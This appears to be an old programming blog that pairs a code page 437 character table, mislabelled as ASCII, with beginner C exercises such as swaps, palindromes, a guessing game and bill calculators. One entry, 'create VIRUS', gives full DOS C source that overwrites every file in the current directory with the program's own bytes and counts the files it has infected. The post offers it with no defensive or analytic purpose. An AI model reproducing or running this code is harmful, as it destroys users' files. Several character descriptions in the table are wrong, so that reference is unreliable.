Friday, February 10, 2012

Complete List ASCII Code & Charecter



symbol
ascii code 0 NULL (Null character)
ascii code 1 SOH (Start of Header)
ascii code 2 STX (Start of Text)
ascii code 3 ETX (End of Text)
ascii code 4 EOT (End of Transmission)
ascii code 5 ENQ (Enquiry)
ascii code 6 ACK (Acknowledgement)
ascii code 7 BEL (Bell)
ascii code 8 BS (Backspace)
ascii code 9 HT (Horizontal Tab)
ascii code 10 LF (Line feed)
ascii code 11 VT (Vertical Tab)
ascii code 12 FF (Form feed)
ascii code 13 CR (Carriage return)
ascii code 14 SO (Shift Out)
ascii code 15 SI (Shift In)
ascii code 16 DLE (Data link escape)
ascii code 17 DC1 (Device control 1)
ascii code 18 DC2 (Device control 2)
ascii code 19 DC3 (Device control 3)
ascii code 20 DC4 (Device control 4)
ascii code 21 NAK (Negative acknowledgement)
ascii code 22 SYN (Synchronous idle)
ascii code 23 ETB (End of transmission block)
ascii code 24 CAN (Cancel)
ascii code 25 EM (End of medium)
ascii code 26 SUB (Substitute)
ascii code 27 ESC (Escape)
ascii code 28 FS (File separator)
ascii code 29 GS (Group separator)
ascii code 30 RS (Record separator)
ascii code 31 US (Unit separator)
ascii code 32 (space)
ascii code 33 ! (exclamation mark)
ascii code 34 " (Quotation mark)
ascii code 35 # (Number sign)
ascii code 36 $ (Dollar sign)
ascii code 37 % (Percent sign)
ascii code 38 & (Ampersand)
ascii code 39 ' (Apostrophe)
ascii code 40 ( (round brackets or parentheses)
ascii code 41 ) (round brackets or parentheses)
ascii code 42 * (Asterisk)
ascii code 43 + (Plus sign)
ascii code 44 , (Comma)
ascii code 45 - (Hyphen)
ascii code 46 . (Full stop , dot)
ascii code 47 / (Slash)
ascii code 48 0 (number zero)
ascii code 49 1 (number one)
ascii code 50 2 (number two)
ascii code 51 3 (number three)
ascii code 52 4 (number four)
ascii code 53 5 (number five)
ascii code 54 6 (number six)
ascii code 55 7 (number seven)
ascii code 56 8 (number eight)
ascii code 57 9 (number nine)
ascii code 58 : (Colon)
ascii code 59 ; (Semicolon)
ascii code 60 < (Less-than sign )
ascii code 61 = (Equals sign)
ascii code 62 > (Greater-than sign ; Inequality)
ascii code 63 ? (Question mark)
ascii code 64 @ (At sign)
ascii code 65 A (Capital A )
ascii code 66 B (Capital B )
ascii code 67 C (Capital C )
ascii code 68 D (Capital D )
ascii code 69 E (Capital E )
ascii code 70 F (Capital F )
ascii code 71 G (Capital G )
ascii code 72 H (Capital H )
ascii code 73 I (Capital I )
ascii code 74 J (Capital J )
ascii code 75 K (Capital K )
ascii code 76 L (Capital L )
ascii code 77 M (Capital M )
ascii code 78 N (Capital N )
ascii code 79 O (Capital O )
ascii code 80 P (Capital P )
ascii code 81 Q (Capital Q )
ascii code 82 R (Capital R )
ascii code 83 S (Capital S )
ascii code 84 T (Capital T )
ascii code 85 U (Capital U )
ascii code 86 V (Capital V )
ascii code 87 W (Capital W )
ascii code 88 X (Capital X )
ascii code 89 Y (Capital Y )
ascii code 90 Z (Capital Z )
ascii code 91 [ (square brackets or box brackets)
ascii code 92 \ (Backslash)
ascii code 93 ] (square brackets or box brackets)
ascii code 94 ^ (Caret or circumflex accent)
ascii code 95 _ (underscore, under strike, underbar or low line)
ascii code 96 ` (Grave accent)
ascii code 97 a (Lowercase a )
ascii code 98 b (Lowercase b )
ascii code 99 c (Lowercase c )
ascii code 100 d (Lowercase d )
ascii code 101 e (Lowercase e )
ascii code 102 f (Lowercase f )
ascii code 103 g (Lowercase g )
ascii code 104 h (Lowercase h )
ascii code 105 i (Lowercase i )
ascii code 106 j (Lowercase j )
ascii code 107 k (Lowercase k )
ascii code 108 l (Lowercase l )
ascii code 109 m (Lowercase m )
ascii code 110 n (Lowercase n )
ascii code 111 o (Lowercase o )
ascii code 112 p (Lowercase p )
ascii code 113 q (Lowercase q )
ascii code 114 r (Lowercase r )
ascii code 115 s (Lowercase s )
ascii code 116 t (Lowercase t )
ascii code 117 u (Lowercase u )
ascii code 118 v (Lowercase v )
ascii code 119 w (Lowercase w )
ascii code 120 x (Lowercase x )
ascii code 121 y (Lowercase y )
ascii code 122 z (Lowercase z )
ascii code 123 { (curly brackets or braces)
ascii code 124 | (vertical-bar, vbar, vertical line or vertical slash)
ascii code 125 } (curly brackets or braces)
ascii code 126 ~ (Tilde ; swung dash)
ascii code 127 DEL (Delete)
ascii code 128 Ç (Majuscule C-cedilla )
ascii code 129 ü (letter "u" with umlaut or diaeresis ; "u-umlaut")
ascii code 130 é (letter "e" with acute accent or "e-acute")
ascii code 131 â (letter "a" with circumflex accent or "a-circumflex")
ascii code 132 ä (letter "a" with umlaut or diaeresis ; "a-umlaut")
ascii code 133 à (letter "a" with grave accent)
ascii code 134 å (letter "a" with a ring)
ascii code 135 ç (Minuscule c-cedilla)
ascii code 136 ê (letter "e" with circumflex accent or "e-circumflex")
ascii code 137 ë (letter "e" with umlaut or diaeresis ; "e-umlaut")
ascii code 138 è (letter "e" with grave accent)
ascii code 139 ï (letter "i" with umlaut or diaeresis ; "i-umlaut")
ascii code 140 î (letter "i" with circumflex accent or "i-circumflex")
ascii code 141 ì (letter "i" with grave accent)
ascii code 142 Ä (letter "A" with umlaut or diaeresis ; "A-umlaut")
ascii code 143 Å (letter "A" with a ring)
ascii code 144 É (Capital letter "E" with acute accent or "E-acute")
ascii code 145 æ (Latin diphthong "ae")
ascii code 146 Æ (Latin diphthong "AE")
ascii code 147 ô (letter "o" with circumflex accent or "o-circumflex")
ascii code 148 ö (letter "o" with umlaut or diaeresis ; "o-umlaut")
ascii code 149 ò (letter "o" with grave accent)
ascii code 150 û (letter "u" with circumflex accent or "u-circumflex")
ascii code 151 ù (letter "u" with grave accent)
ascii code 152 ÿ (letter "y" with diaeresis)
ascii code 153 Ö (letter "O" with umlaut or diaeresis ; "O-umlaut")
ascii code 154 Ü (letter "U" with umlaut or diaeresis ; "U-umlaut")
ascii code 155 ø (slashed zero or empty set)
ascii code 156 £ (Pound sign ; symbol for the pound sterling)
ascii code 157 Ø (slashed zero or empty set)
ascii code 158 × (multiplication sign)
ascii code 159 ƒ (function sign ; f with hook sign ; florin sign )
ascii code 160 á (letter "a" with acute accent or "a-acute")
ascii code 161 í (letter "i" with acute accent or "i-acute")
ascii code 162 ó (letter "o" with acute accent or "o-acute")
ascii code 163 ú (letter "u" with acute accent or "u-acute")
ascii code 164 ñ (letter "n" with tilde ; enye)
ascii code 165 Ñ (letter "N" with tilde ; enye)
ascii code 166 ª (feminine ordinal indicator )
ascii code 167 º (masculine ordinal indicator)
ascii code 168 ¿ (Inverted question marks)
ascii code 169 ® (Registered trademark symbol)
ascii code 170 ¬ (Logical negation symbol)
ascii code 171 ½ (One half)
ascii code 172 ¼ (Quarter or one fourth)
ascii code 173 ¡ (Inverted exclamation marks)
ascii code 174 « (Guillemets or angle quotes)
ascii code 175 » (Guillemets or angle quotes)
ascii code 176 ░
ascii code 177 ▒
ascii code 178 ▓
ascii code 179 │ (Box drawing character)
ascii code 180 ┤ (Box drawing character)
ascii code 181 Á (Capital letter "A" with acute accent or "A-acute")
ascii code 182 Â (letter "A" with circumflex accent or "A-circumflex")
ascii code 183 À (letter "A" with grave accent)
ascii code 184 © (Copyright symbol)
ascii code 185 ╣ (Box drawing character)
ascii code 186 ║ (Box drawing character)
ascii code 187 ╗ (Box drawing character)
ascii code 188 ╝ (Box drawing character)
ascii code 189 ¢ (Cent symbol)
ascii code 190 ¥ (YEN and YUAN sign)
ascii code 191 ┐ (Box drawing character)
ascii code 192 └ (Box drawing character)
ascii code 193 ┴ (Box drawing character)
ascii code 194 ┬ (Box drawing character)
ascii code 195 ├ (Box drawing character)
ascii code 196 ─ (Box drawing character)
ascii code 197 ┼ (Box drawing character)
ascii code 198 ã (letter "a" with tilde or "a-tilde")
ascii code 199 Ã (letter "A" with tilde or "A-tilde")
ascii code 200 ╚ (Box drawing character)
ascii code 201 ╔ (Box drawing character)
ascii code 202 ╩ (Box drawing character)
ascii code 203 ╦ (Box drawing character)
ascii code 204 ╠ (Box drawing character)
ascii code 205 ═ (Box drawing character)
ascii code 206 ╬ (Box drawing character)
ascii code 207 ¤ (generic currency sign )
ascii code 208 ð (lowercase "eth")
ascii code 209 Ð (Capital letter "Eth")
ascii code 210 Ê (letter "E" with circumflex accent or "E-circumflex")
ascii code 211 Ë (letter "E" with umlaut or diaeresis ; "E-umlaut")
ascii code 212 È (letter "E" with grave accent)
ascii code 213 ı (lowercase dot less i)
ascii code 214 Í (Capital letter "I" with acute accent or "I-acute")
ascii code 215 Î (letter "I" with circumflex accent or "I-circumflex")
ascii code 216 Ï (letter "I" with umlaut or diaeresis ; "I-umlaut")
ascii code 217 ┘ (Box drawing character)
ascii code 218 ┌ (Box drawing character)
ascii code 219 █ (Block)
ascii code 220 ▄
ascii code 221 ¦ (vertical broken bar )
ascii code 222 Ì (letter "I" with grave accent)
ascii code 223 ▀
ascii code 224 Ó (Capital letter "O" with acute accent or "O-acute")
ascii code 225 ß (letter "Eszett" ; "scharfes S" or "sharp S")
ascii code 226 Ô (letter "O" with circumflex accent or "O-circumflex")
ascii code 227 Ò (letter "O" with grave accent)
ascii code 228 õ (letter "o" with tilde or "o-tilde")
ascii code 229 Õ (letter "O" with tilde or "O-tilde")
ascii code 230 µ (Lowercase letter "Mu" ; micro sign or micron)
ascii code 231 þ (capital letter "Thorn")
ascii code 232 Þ (lowercase letter "thorn")
ascii code 233 Ú (Capital letter "U" with acute accent or "U-acute")
ascii code 234 Û (letter "U" with circumflex accent or "U-circumflex")
ascii code 235 Ù (letter "U" with grave accent)
ascii code 236 ý (letter "y" with acute accent)
ascii code 237 Ý (Capital letter "Y" with acute accent)
ascii code 238 ¯ (macron symbol)
ascii code 239 ´ (Acute accent)
ascii code 240 ¬ (Hyphen)
ascii code 241 ± (Plus-minus sign)
ascii code 242 ‗ (underline or underscore)
ascii code 243 ¾ (three quarters)
ascii code 244 ¶ (paragraph sign or pilcrow)
ascii code 245 § (Section sign)
ascii code 246 ÷ (The division sign ; Obelus)
ascii code 247 ¸ (cedilla)
ascii code 248 ° (degree symbol )
ascii code 249 ¨ (Diaeresis)
ascii code 250 • (Interpunct or space dot)
ascii code 251 ¹ (superscript one)
ascii code 252 ³ (cube or superscript three)
ascii code 253 ² (Square or superscript two)
ascii code 254 ■ (black square)
ascii code 255 nbsp (non-breaking space or no-break space)

Wednesday, December 7, 2011

Write a Cprogram without semicolon III

#include<stdio.h>
void main(){
    switch(printf("Hello world")){
    }
}

Write a C Program without semicolon II

#include<stdio.h>
void main(){
    while(!printf("Hello world")){
    }
}

Write a C Program to print a string without use semicolon I

#include <stdio.h>
#include <conio.h>
void main()
{
 if(printf("Hello"))
}

Write a C program to create VIRUS

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

Write a C program to destruc self execution file

#include<stdio.h>
#include<conio.h>
#include<dos.h>
void main()
{
printf("This program will destroy itself if u press any key!!!\n");
getch();
remove(_argv[0]);/*array of pointers to command line arguments*/
}

Write a C program to remove single space or line

#include<stdio.h>
#include<conio.h>
#include<process.h>
#include<dos.h>
void main()
{
FILE *a,*b;
char fname[20],ch,tch=NULL,tch1=NULL;
int flag1=0,flag=0,count=0,count1=0,count2=0;
clrscr();
printf(“Enter the file name (.C or .TXT)\n”);
gets(fname);
a=fopen(fname,”r”);
if(a==NULL)
{
puts(“Cannot open the source file!!!”);
delay(500);
exit(1);
}
b=fopen(“target.c”,”w”);
if(b==NULL)
{
puts(“Cannot create target file!!!”);
delay(500);
exit(1);
}
while(1)
{
ch=fgetc(a);
if(ch==EOF) break;
else
{
if(ch==’\n’)
{
count1=1;
tch1=ch;
continue;
}
else if(ch==’\n’&& count1==1)
continue;
else if(ch==’/'&&count==0)
{
flag1=1;
tch=ch;
count=1;
continue;
}
else if(ch==’*'&& flag1==1)
{
flag=1;
flag1=0;
tch=NULL;
}
else if(ch==’*'&&flag==1)
{
count2=1;
count=1;
continue;
}
else if(ch==’/'&&count2==1)
{
flag=0;
count=0;
tch=NULL;
continue;
}
else if(count==1&&flag==1)
count=0;
else if(flag1==1)
flag1=0;
}
if(flag!=1)
{
if(tch>0)
fputc(tch,b);
if(tch1>0)
fputc(tch1,b);
tch1=NULL;
tch=NULL;
count=0,count1=0,count2=0;
fputc(ch,b);
flag1=0,flag=0;
}
}
puts(“DONE!! OP FILE IS \”TARGET.C\”\n”);
fcloseall();
getch();
}

Write a C program to find random number II

#include<stdio.h>
#include <stdlib.h>
#include <time.h>

int main(void)
{
int i;
time_t t;
srand((unsigned) time(&t));
printf(“Ten random numbers from 0 to 99\n\n”);
for(i=0; i<10;i++)
printf(“%d\n”,rand()%100);
}

Write a C Program to take random number I

#include<stdio.h>
#include<stdlib.h>
#include<time.h>
/* prints a random number in the range 0 to 99 */
int main(void)
{
randomize();
printf(“Random number in the 0-99 range: %d\n”, random (100));
return 0;
}

Write a C program to print without function

#include<stdio.h>
#include<conio.h>
char str[]=”Hello Srikanth”;
char far *v=(char far *)0xb8000000;
void main()
{
int i;
for(i=0;i<14;i++)
{
*v=str[i];
v+=2;
}
getch();
}

Write a C Program to create a GAME

#include<stdio.h>
#include<stdlib.h>
#include<time.h>

void main()
{
int num,guess=-1,tries=0,pass=0;
time_t t;
srand((unsigned)time(&t));
num=rand()%100;
while((guess!=num)&&tries<8)
{
printf(“Enter the guess num b/w 0 & 100 (you have %d tries left out)\n”,(8-tries)); scanf(“%d”,&guess);
tries++;
if(guess==num)
{
printf(“Hurray you guessed it correctly!!!\n”);
pass=1;
}
else if(num< guess)
printf(“Your guess is too high\n”);
else
printf(“Your guess is too low\n”);
}
if(pass==0)
printf(“Sorry you lost! The correct number is %d\n”,num);
}

Write a C Program without main function

#include<stdio.h>
#define decode(s,t,u,m,p,e,d) m##s##u##t
#define begin decode(a,n,i,m,a,t,e)

int begin()
{
 printf(" hello ");
 return 0;
}

Write a C program to accept password

#include<stdio.h>
#include<conio.h>

char pw[25],ch;
int i;
void main()
{
clrscr();
puts(“Enter password”);
while(1)
{
if(i<0)
i=0;
ch=getch();
if(ch==13)
break; /*13 is ASCII value of ENTER*/
if(ch==8) /*ASCII value of BACKSPACE*/
{
putch(‘\b’);
putch(NULL);
putch(‘\b’);
–i;
continue;
}
pw[i++]=ch;
ch=’*';
putch(ch);
}
pw[i]=’\0';
printf(“\n\n%s”,pw);
getch();
}

Write a C program to find palindrome number

#include <stdio.h>
#include <conio.h>
void main()
{
 int n,r,reverse=0,a;
 clrscr();
 printf("Enter any Number: ");
 scanf("%d",&n);
 a=n;
 while(n)
 {
  r=n%10;
  reverse=reverse*10+r;
  n=n/10;
 }
 if(a==reverse)
  printf("%d is palindrome",a);
 else
  printf("%d is not palindrome",a);
 getch();
}

Write a C Program to find reverse of Digits

#include <stdio.h>
#include <conio.h>
void main()
{
 int n,r,reverse=0;
 clrscr();
 printf("Enter any Number: ");
 scanf("%d",&n);
 while(n)
 {
  r=n%10;
  reverse=reverse*10+r;
  n=n/10;
 }
 printf("Reverse= %d",reverse);
 getch();
}

Tuesday, December 6, 2011

Write a C Program to swapping without third variable II

#include <stdio.h>
#include <conio.h>
void main()
{
 int a,b;
 clrscr();
 printf("Enter value for a and b: ");
 scanf("%d %d",&a,&b);
 printf("\nAfter swapping\na and b: %d %d",b,a);
 getch();
}

Write a C Program to swapping without third variable

#include <stdio.h>
#include <conio.h>
void main()
{
 int a,b;
 clrscr();
 printf("Enter value for a and b: ");
 scanf("%d %d",&a,&b);
 a=a+b;
 b=a-b;
 a=a-b;
 printf("\nAfter swapping a and b: %d %d",a,b);
 getch();
}

Write a C Program to swapping by using third variablr

#include <stdio.h>
#include <conio.h>
void main()
{
 int a,b,c;
 clrscr();
 printf("Enter Value for a and b: ");
 scanf("%d %d",&a,&b);
 c=a;
 a=b;
 b=c;
 printf("\nAfter swapping\na and b is: %d %d",a,b);
 getch();
}

Write a C Program to calculate TT and Recharge Amount

#include <stdio.h>
#include <conio.h>
void main()
{
 int ch;
 float a,d,b,c,e,f;
 clrscr();
 printf("\t\t\tCalculate Talktime and Recharge amount\nBeing 9.3% tax of TRAI for telecom service provider you can calculate Your talktime amd recharge amount");
 printf("\n1. For Conversation Recharge Amount to talk time\n2. For Conversation Talktime to recharge amount");
 printf("\n\nPlease Enter your choice: ");
 scanf("%d",&ch);
 switch(ch)
 {
  case 1:
  {
   printf("\nYou chosing opt. %d and your opt. is conversation Recharge Amt. to TT\nPlease Enter for calculation",ch);
   getch();
   clrscr();
   printf("\nPlease enter your recharge amount:  ");
   scanf("%f",&a);
   printf("\nPlease Enter processing fee: ");
   scanf("%f",&b);
   printf("\nPlease Enter extra charge: ");
   scanf("%f",&c);
   d=a*0.093;
   e=a-d;
   f=e-b-c;
   printf("\nYour Entered amount is: %.f\n\nYour processing fee is %.f\n\nService Tax= %.2f\n\nYour total talk time(deduction of your service tax only)= %.2f\n\nTotal Talk Time(Deduction of all tax)= %.2f Rupees",a,b,d,e,f);
   break;
  }
  case 2:
  {
   printf("\n You chosing opt. %d and your opt. is conversation TT to Rec. Amt.\nPlease Enter for calculation",ch);
   getch();
   clrscr();
   printf("\nEnter your Talktime: ");
   scanf("%f",&a);
   printf("\nPlease enter Procesing fee: ");
   scanf("%f",&b);
   printf("\nPlease enter all taxes: ");
   scanf("%f",&c);
   d=b+c;
   e=a+d;
   f=(e/(1-0.093));
   printf("\nYour Talk Time(included of all taxes): %.2f\n\nFor getting your given Talk Time you must rechage equal or above= %.f Rupees",a,f);
   break;
  }
  default:
  {
   printf("\nInvalid Choice!!");
  }
 }
 getch();
}

Write a C Program to Calculate Electricity Bill with if-else condition <=100 Rs.4/units > 100 and <=300 Rs.4.50/units >300 and <=500 Rs.4.75/units >500 Rs.5/units

#include<stdio.h>
#include<conio.h>
void main()
{
int units;
float total_bill;
clrscr();
printf("Enter the no. of units");
scanf("%d",&units);
if(units <= 100)
total_bill = units * 4;
else if(units <= 300)
total_bill = units * 4.5;
else if(units <= 500)
total_bill = units * 4.75;
else
total_bill = units * 5;
printf("the bill to be paid is = %f", total_bill);
getch();
}